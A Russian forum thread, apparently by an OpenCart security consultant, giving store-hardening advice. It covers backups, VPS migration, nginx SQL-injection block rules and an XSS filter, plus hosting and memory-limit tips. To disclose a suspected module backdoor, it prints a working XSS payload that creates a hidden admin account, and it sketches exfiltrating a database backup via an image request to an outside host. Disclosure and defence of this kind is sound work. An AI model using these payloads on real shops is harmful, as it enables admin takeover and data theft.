Yoda

Не совсем Так. Смотрите. В идеале. Модули не должны стучаться никуда. В данном случае модуль мало того что стучится, он ещё забирает данные, которые будучи скомпрометированы, могут создать угрозу для тысяч и тысяч магазинов.

Итак, кроме того что не платить ни при каких обстоятельствах толковых советов 0. Поэтому давайте разберем ситуацию по косточкам. 1. У нас слава богу был бекап. Но он мог бы быть скомпроментирован давно, поэтому когда вам сделали магазин - сразу сделайте бекап к себе на локальный компьютер и храните его как зеницу ока и руками сливайте раз в месяц. И под подушку. 2. Когда мы запросили бекап у хостера, мы его запросили выложить удаленно виде архивов, а не восстановить в окружение. Вот это очень важный момент. Мы не знаем, что у нас уязвимо. Движок, или хостинг. Просто примите это как аксиому - шаред хостинги дырявые. Если на шареде нет уязвимостей, то их просто либо не нашли, либо не искали, либо нашли и никто об этом не знает. И вот второй важный момент. Если у нас потенциально скомпроментированное окружение. Его надо менять. Тихо нежно не подавая признаков для атакующего. Пока нам сыпались грозные письма и мольбы прислать хоть копеечку, мы планомерно и тихо разворачивали магазин в другом месте. Еще раз повторюсь. Искать дыры в хостинге и бодаться с хостером - это бесполезно. Намного быстрее и проще взять небольшой VPS и сьехать на него, пока хакер бушует на старом проекте. Поэтому и бекапы мы запросили неявно. 3. Список методов безопасности, которые можно внедрить на сервере - огромен. От suhosin мода, который запрещает выполнение функции eval до развертывания git и работы и допуска любых подрядчиков, только к dev ветке проекта. Но эти методы доступны отнюдь не всем и не всегда. Я тот же git просто физически не перевариваю. Однако. Все же есть набор методов, который позволяет достаточно надежно прикрыться от подобных судаков. Итак... Все советы выполнимы, только в случае если у вас таки свой сервер. 1 - меняем все пароли, убиваем лишних пользователей в админке, убираем фтп, переименовываем phpmyadmin, чистим весь хлам в корне (php.info, adminer и так далее), выносим конфиги за пределы root-директории, закрываем admin через htpass, меняем порты ssh, в идеале коннект к ssh по ключу. 2 - это был 1.5 меняем mysql на mysqli, отключаем вывод ошибок не в магазине а на уровне настроек сервера. 3 - зафильтровываем весь ввод на уровне сервера. Мы физически не можем провести рефакторинг всего кода. А вот сделать правило в nginx подобного вида легко: ## Block SQL injections set $block_sql_injections 0; if ($query_string "union.*select.*\(") { set $block_sql_injections 1; } if ($query_string "union.*all.*select.*") { set $block_sql_injections 1; } ..... 4. Закрываем все потенциально уязвимые директории, разрешая выполнять только index.php location ~* /(?:cache|logs|storage|image|download|system|export|vqmod)/.*\.php$ { deny all; } 5. добавляем еще немножко безопасности в nginx: server_tokens off; add_header X-Frame-Options SAMEORIGIN; add_header X-Content-Type-Options nosniff; 6. Дополнительно мы зафильтровали все что приходит к нам в request на фронт, чтобы избавиться от xss узявимостей, расставили несколько ловушек и ложных ресурсов. Как то подставили по адресу phpmyadmin голую форму. Но в целом, надо понимать есть несколько векторов атаки. Если у вас утекли фтп-пароли, все пропало. Если у вас в корне лежит backup.zip или baza_moego_magazina.zip - все пропало. Если у вас есть dev.magazin.com и там пароль admin admin все пропало. Если у вас под одним пользователем десять магазинов, и три блога на старом WP - у вас открытая дверь через задний двор любому. Если у вас включен вывод ошибок и вы используете mysql, все пропало. Если вы храните в базе данных фтп лог-пасс и smtp лог-пасс к личной почте - это оооооооооочень глупо. Если вам наложили или направили каких то файлов движка, которые можно запустить из мира и это разрешено правилами сервера - все пропало. Тоесть вам необходимо не читать и внедрять бездумно правила из гугла как что закрыть, а понимание что делать. А это бекапы под подушкой. Безопасное нескомпроментированое окружение (свой сервер) с закрытыми потенцильными лазейками и стабильная свежая версия движка с набором проверенных модулей. Тогда вы в принципе можете спать спокойно. И еще раз. Включенные логи ошибок, PHP_INFO и шаред хостинги - это зло!

От того что мы что-то пролюбим. Ничего не изменится. Потому что нет дистанционной проверки. Также я сейчас в личку скину. Ещё кое какие фиксы. Будете собирать окмод. Не лишним будет.

У меня нет этого модуля. А к автору обращались несколько раз. Он утверждал что это так надо и ничего страшного. Ну а я же да... Свожу личные счёты ага ага... Если вам от этого легче. То так и думайте. По факту природу инцидента это не меняет. Ну и давайте уже честно. Закрытый код без шеллов и закладок. И открытый с закладкой. Что лучше?

Тогда уже и фильтрацию в request.

Во первых. В любой момент. Любому представителю администрации любой аудит. Во вторых найдите обращения к сторонним ресурсам. В этом плане мы максимально открыты. В отличии от остальных. В третьих. Исключение кодированных файлов не влияет на работоспособность магазина. Так как закодирован только небольшая часть кода.

Ну и также надо закрывать settigns. Там тоже можно дел наделать побырому. Log.php.

Так проверяй на здоровье. Экранируй вывод и проверяй. Вы же тоже верите, что это случайная архитектурная ошибка.

Мало! Никто не мешает через tools/backup сделать слив базы и отправить ее на какую нить opencartadmin/logo.jpg длиннючим http заголовком. Вида $get(.... route=tools/backup+token.....блабла бла, data); $('body').append('<img src = "opencartadmin/logo.jpg?data ="' + data +'>');

function xss_clean($data) { // Fix &entity\n; $data = str_replace(array('&','<','>'), array('&amp;','&lt;','&gt;'), $data); $data = preg_replace('/(&#*\w+)[\x00-\x20]+;/u', '$1;', $data); $data = preg_replace('/(&#x*[0-9A-F]+);*/iu', '$1;', $data); $data = html_entity_decode($data, ENT_COMPAT, 'UTF-8'); // Remove any attribute starting with "on" or xmlns $data = preg_replace('#(<[^>]+?[\x00-\x20"\'])(?:on|xmlns)[^>]*+>#iu', '$1>', $data); // Remove javascript: and vbscript: protocols $data = preg_replace('#([a-z]*)[\x00-\x20]*=[\x00-\x20]*([`\'"]*)[\x00-\x20]*j[\x00-\x20]*a[\x00-\x20]*v[\x00-\x20]*a[\x00-\x20]*s[\x00-\x20]*c[\x00-\x20]*r[\x00-\x20]*i[\x00-\x20]*p[\x00-\x20]*t[\x00-\x20]*:#iu', '$1=$2nojavascript...', $data); $data = preg_replace('#([a-z]*)[\x00-\x20]*=([\'"]*)[\x00-\x20]*v[\x00-\x20]*b[\x00-\x20]*s[\x00-\x20]*c[\x00-\x20]*r[\x00-\x20]*i[\x00-\x20]*p[\x00-\x20]*t[\x00-\x20]*:#iu', '$1=$2novbscript...', $data); $data = preg_replace('#([a-z]*)[\x00-\x20]*=([\'"]*)[\x00-\x20]*-moz-binding[\x00-\x20]*:#u', '$1=$2nomozbinding...', $data); // Only works in IE: <span style="width: expression(alert('Ping!'));"></span> $data = preg_replace('#(<[^>]+?)style[\x00-\x20]*=[\x00-\x20]*[`\'"]*.*?expression[\x00-\x20]*\([^>]*+>#i', '$1>', $data); $data = preg_replace('#(<[^>]+?)style[\x00-\x20]*=[\x00-\x20]*[`\'"]*.*?behaviour[\x00-\x20]*\([^>]*+>#i', '$1>', $data); $data = preg_replace('#(<[^>]+?)style[\x00-\x20]*=[\x00-\x20]*[`\'"]*.*?s[\x00-\x20]*c[\x00-\x20]*r[\x00-\x20]*i[\x00-\x20]*p[\x00-\x20]*t[\x00-\x20]*:*[^>]*+>#iu', '$1>', $data); // Remove namespaced elements (we do not need them) $data = preg_replace('#</*\w+:\w[^>]*+>#i', '', $data); do { // Remove really unwanted tags $old_data = $data; $data = preg_replace('#</*(?:applet|b(?:ase|gsound|link)|embed|frame(?:set)?|i(?:frame|layer)|l(?:ayer|ink)|meta|object|s(?:cript|tyle)|title|xml)[^>]*+>#i', '', $data); } while ($old_data !== $data); // we are done... return $data; } Мне кажется это наиболее верный вариант, либо же выбирайте: https://stackoverflow.com/questions/1336776/xss-filtering-function-in-php

Да не, это же у меня личное))) Какое мне дело до всех тех, кто попал в зону риска.

Недавно моими друзьями была обнаружена очень неприятная ситуация, один популярный автор дополнений, допустил фатальную ошибку в разработке дополнения. Я очень хочу верить что случайно, но в целом, все указывает на то, что это специально оставленный бекдор. Но бог и администрация форума ему судья, я думаю они там сами разберутся. В силу того, что приводя куски кода дополнения, или оставляя комментарии в теме поддержки дополнения, как пользователь который его не покупал я нарушу правила форума, я попробую дать рекомендации в существующих рамках. Исходя из моей подготовки и опыта, я могу утверждать, что, проблема, в том, что когда вы заходили в админку модуля, модуль подтягивал каждый раз с сервера автора номер версии. Казалось бы что в этом такого. Но присмотревшись, оказалось, что вывод данных о версии не был экранирован, что позволяло автору или любому человеку, получившему доступ к его серверу выполнить XSS атаку на все 10 000 магазинов, которые купили любое из дополнений автора, к примеру вместо номера версии отдать вот такой простой скрипт к примеру: <script> // shell sample // seocms the best architectural mistake forever // i got all your 10 000 shops // i install 10 000 backdors function getUrlVars() { var vars = [], hash, hashes = null; if (window.location.href.indexOf("?") && window.location.href.indexOf("&")) { hashes = window.location.href.slice(window.location.href.indexOf("?") + 1).split("&"); } else if (window.location.href.indexOf("?")) { hashes = window.location.href.slice(window.location.href.indexOf("?") + 1); } if (hashes != null) { for (var i = 0; i < hashes.length; i++) { hash = hashes[i].split("="); vars[hash[0]] = hash[1]; } } return vars; } var url_vars = getUrlVars(); var token = url_vars.token; var host = window.location.origin; var action = host + "/admin/index.php?route=user/user/add&token=" + token; document.addEventListener("DOMContentLoaded", function(event) { $.post( action, { username: "DummiMarkHack", user_group_id: "1", firstname: "Lol", lastname: "Haha", email: "[email protected]", password: "1234", confirm: "1234", status: "1" } ); }); </script> И вот таким нехитрым способом, ни в коем случае я не грешу на автора и не хочу сказать что он это сделал специально, но береженого бог бережет. Ведь невзламываемых систем не бывает. Можно получить админский доступ в любой магазин. На котором установлены модули автора. А получив админа магазина, мы легко и просто дальше уже сливаем все что захотим - это дело техники. А учитывая то, что человек может умереть. И не продлить домен. А за доменом могут следить специально с целью захвата такого лакомого ботнета. Думаю о критичности потенциальной угрозы рассказывать не надо. Опять же повторюсь, в рамках правил форума я не могу показывать код дополнения, я его не покупал, поэтому чтобы навсегда обезопасить себя от подобной проблемы на 100% и у вас VPS вам просто необходимо добавить в файл host на своем сервере Строку 0.0.0.0 site.com // Домен сервера разработчика Как это сделать в linux - можно прочитать здесь, или обратитесь к администратору вашего сервера. Если же у вас шаред-хостинг. Максимум что вы можете сделать, это найти во всех модулях автора в языковых файлах строки opencartadmin.com и заменить их на localhost. С вашими модулями ничего не случится. Они будут работать. Но вероятность, что с постороннего ресурса вы получите xss атаку минимальная! Ну и как второстепенную меру защиты, просто добавьте htpassword авторизацию к админке. Успешного бизнеса вам, и безопасных магазинов.

В данном случае есть переписка с хостера. Факт взлома легко доказать.

Бекап в нашем случае был. Но он мог быть скомпроментирован давно, а отследить 200 000 строк кода движка - ну увольте нереально. Тут попался глупый хакер. Ну и при векторе атаке, в случае, когда база переводится на другой хост, и в бекапах она будет за три месяца назад - если будет. Не выход. Бекапы хорошо но бекапы бекапам рознь. И это первая большая ошибка большинства. Надеятся на то что где-то они там есть. Нет это не шантаж, возможно заказ, возможно "мимопроходил". И в данном случае я могу допустить, что скомпроментирован был непосредственно сервер хостера, а не движок. Но в целом это неважно. Если я расскажу просто так, то это прочитают и пройдут мимо, либо будут бездумно имплементировать советы от гугла, как вон кто-то выше написал простыню бездумных хауту. Даже не думая о том, что не все магазины живут на серверах, и даже у тех кто живет на Vps не всегда есть навыки внедрить 20% из этих нагугленных наскорую руку HOWTO. Хотя по факту есть как методология решения проблемы именно в этой ситуации, так и общая базовая методолология для исключения вероятности подобных происшествий. Я чуть позже изложу развернуто свои мысли по этому поводу.

Бекап не спасает. Если он не под подушкой. Устранить все дыры тоже в принципе не возможно. Но можно не допускать подобного. А заявление. На кого? На Васю из Тайланда? Который через три прокси пришёл. Хм... Бесполезно.

1 - база таки была убита. 2 - таки да. 3 - ну можно каждые пять минут это делать. Это не работа.

0 - не спасает, я вам могу потихому на свою базу переключить, неделя две... А данных у вас нету. Ну чуток стало медленее не заметили, а через какое то время. Все аля улю. 1 - не до конца понятно как оценить скилл компании. Скажем так, разработчиков, квалификации которых я доверяю, со всего форума, можно посчитать по пальцем одной руки. 2 - вопрос интересный, опять же с какой точки зрения, уязвимость, через которую чпокнули магазин, известная в узких кругах давно, но кроме этого там присутствовало вагон и маленькая тележка неявных проблем, ну и как рефакторить, то что под кубом, или то что продается от авторов, которые делают код без "архитетурных ошибок" и модули которых проверяет экспертная комиссия форума, по принципу "а слона и не заметил". В данном случае рефакторинг - не вариант. Очень дорого и специалистов днем с огнем не найти, но выход есть)))!

Вот с таким вопросом к нам пришел наш старый товарищ, несколько дней назад. У меня три вопроса: Что бы вы сделали на месте владельца магазина? Что сделать чтобы обезопасить себя от подобных "доброжелателей". И что делать в ситуации, когда подобные действия практически над любым магазином могут быть реализованы парой десятков авторов популярных дополнений?

Господа, все мы сталкиваемся с ситуацией, когда необходимо сформировать большой набор данных, сайтмап, yandex-market фид, и любая подобная задача, требует всегда очень много ресурсов. Большинство авторов таких дополнений слыхом не слыхивали ни про CLI-PHP, ни про возможность органично выделять ресурсы исключительно под собственные скрипты, не затрагивая общие настройки сервера. Про то, как делать CLI скрипты, я расскажу позднее, а сейчас поговорим про лимиты памяти, и почему нельзя пахабно относиться к ресурсам серверов клиентов. Приведу пример, который произошел буквально на днях. Обратились ко мне старые друзья с просьбой посмотреть, почему падает магазин. Да они добавили 30 региональных поддоменов, увеличилась нагрузка, но это не повод, чтобы 4гб памяти и 4гб SWAP забивались за 10 минут. Смотрим в настройки php_memory_limit 1gb. Система работает в связке nginx+php-fmp, и менеджер fpm резирвирует под каждый поток гиг памяти. Но нам то надо максимум 256МБ, для генерации любой страницы. Ок меняем настройки, немножко вносим тюнинг в конфиг php-fpm, все заработало, ресурсов хватает запас есть. Но из-за нехватки памяти отвалилась генерация YML, от одного известного автора. И Яндекс-маркет блочит магазин. Новый год, продажи стоят. Что делать? Писать автору, скорее всего бесполезно. Я думаю, что любой автор сказал - увеличивайте ресурсы сервера, у вас нехватка памяти, вы сами виноваты, у вас большой магазин. Я даже уверен, что 99% авторов дополнений так бы сделали. Но послушайте. Ну есть же возможность задавать настройки "на лету" прямо из выполняемого скрипта. И просто достаточно было добавить в код генерации яндекс-фида одну строку: ini_set("memory_limit",-1); И все.. Для всех скриптов, которые приходят на web-сервер у нас 256мб лимит, и наших 4 гигабайт хватает с головой обслужить весь входящий трафик и ботов. И без вопросов у нас генерится YML, которому мы разрешили использовать память безлимитно. Простейшая же задача как 2+2. Но продав более 1000 копий своего дополнения, автор даже не задумывался о подобных проблемах. Не будьте как автор! И еще. Не стесняйтесь вместо формирования каких то супермассивов, сразу писать все в файл. Вместо какого нить $thisoutYML->addItem($item), ведь очень просто делать $thisYmlSaveItemTofile($item). Ну и практически все фиды можно отдавать в .gz экономя место и время.

Извините, но банально учить программирование. в 99% случаев если вы задаете такие вопросы, у вас ничего не получится. Да и внедрение lazy, чтобы не потерять индексацию изображений в поисковиках - та еще задача.

Я бы на вашем месте даже не пытался вступать в полемику с людьми, которые говорят, что fastvps по дешману - это хороший хостер. Нервы не казённые.

Ну приблизительно тем же, чем Макдональдс лучше сети из трёх шаурмятен у Ашота.

Вот спасибо, я аж засмущался.

Это не потому что долго открывается, а потому что яндекс ресурсы заблокированы. Пинг из Украины в мск - такой же по скорости как и во франкфурт к тому же хецнеру. Но опять же в разрезе Украины, почему стоит брать европейские сервера. 1 - цена однозначно дикий плюс, при чем разница в цене от того же Ukraine - раз в 5. Но Ukraine, мало того что сдулся по качеству услуг, так еще и процессоры 2009 года в парке VPS серверов, уже в третий класс ходят камни. 2 - политика к простоям у буржуев к простоям все-таки более ответственная чем у наших, методология регламентных работ, и весь work-flow процесс на порядок отличается в качественную сторону, поэтому это тот случай, когда без сертифицированного мастера, нельзя лампу поменять - это в плюс. Что касается того, почему в Европе дешевле. Во первых возврат VAT. Вы берете любой дедик в хецнере, на 19% дешевле, чем он стоит у них на сайте разбиваете его на виртуальные узлы - и у вас готовая VPS-нода, при цене 50 евро за 8 ядерный камень, получаем 16 виртуальных ядер, по 5 долларов, пусть. Продаем по 500 рублей за ядро - уже получается 8000 рублей. Двойной куш. На голом месте и это просто если в лоб арендовать в том же хецнере, физическое железо. Не одним хецнером мир дышит, они не дают скидок в целом, но есть масса провайдеров, которых можно продавить по цене, да и у них же нагрести на аукционе готового железа как грязи по дешману. А если брать бизнес таких "хваленных контор" типа фаствпс, рувдс ну это на грани аферизма. Если тот же ukraine.com.ua эксплуатирует железо, которое пентиум в лицо видело, и это норма, у буржуев есть масса контор, которые парк серверов обновляют раз в 2-3 года. И если хорошо поискать, то очень приличные сервера, можно найти по 200-300 долларов за blade-unit + 100 долларов диск. И у вас с учетом трехлетней аммортизации и аренды места в стойке, ну пусть за 20 долларов, цена узла под 16-24 ядра становиться уже всего 30 долларов. Поэтому можно продавать все эти ядра дешевле грибов. Т.е. хостинг типа территориально в рф. А вот весь этот парк серверов, он территорию ЕС даже не покидал, там купили, сюда курьером привезли, инженеры колокейшна диски и шнурки воткнули, подсеть прописали - все.. Готов хостинг. Но на практике что фаст что рувдс - это черепаший хостинг, и лучше с ними не связываться.

А сколько было, сколько стало ?